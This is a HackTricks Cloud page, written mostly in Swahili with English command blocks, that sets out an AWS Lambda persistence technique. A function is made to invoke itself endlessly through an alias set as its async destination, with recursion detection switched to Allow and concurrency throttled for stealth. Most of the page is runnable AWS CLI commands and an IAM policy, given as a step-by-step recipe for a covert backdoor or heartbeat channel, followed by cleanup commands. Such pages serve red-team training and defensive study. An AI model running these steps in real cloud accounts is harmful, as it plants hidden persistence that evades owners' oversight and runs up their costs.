AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Tumia Lambda asynchronous destinations pamoja na Recursion configuration kufanya function iite tena yenyewe kwa mfululizo bila scheduler wa nje (hakuna EventBridge, cron, n.k.). Kwa default, Lambda inasimamisha recursive loops, lakini kuweka recursion config kuwa Allow kunaweza kuziruhusu tena. Destinations hutekelezwa upande wa service kwa async invokes, hivyo seed invoke moja huunda channel ya kimya, isiyo na code — heartbeat/backdoor channel. Hiari: throttle kwa reserved concurrency ili kupunguza kelele.

Vidokezo

Lambda hairuhusu kusanidi function kuwa destination yake moja kwa moja. Tumia function alias kama destination na uruhusu execution role ku-invoke alias hiyo.
Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.

Mahitaji

Region: us-east-1
Vars:
REGION=us-east-1
TARGET_FN=

Hatua

Pata function ARN na usanidi wa recursion wa sasa

FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true

Chapisha toleo na unda/sasisha alias (inayotumika kama lengo la kujipeleka)

VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)

Ruhusu cheo cha utekelezaji cha function kuitisha alias (inahitajika na Lambda Destinations→Lambda)

# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION

Sanidi async destination kwa alias (self via alias) na zima retries

aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig

Ruhusu mizunguko ya kujirudia

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION

Kuanzisha invoke moja isiyo ya sinkroni

aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null

Chunguza miito endelevu (mifano)

# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing

Hiari stealth throttle

aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Usafishaji

Vunja mzunguko na ondoa persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Athari

Single async invoke inasababisha Lambda kuji-invoke tena mara kwa mara bila scheduler wa nje, ikiruhusu stealthy persistence/heartbeat. Reserved concurrency inaweza kupunguza noise hadi single warm execution.

tip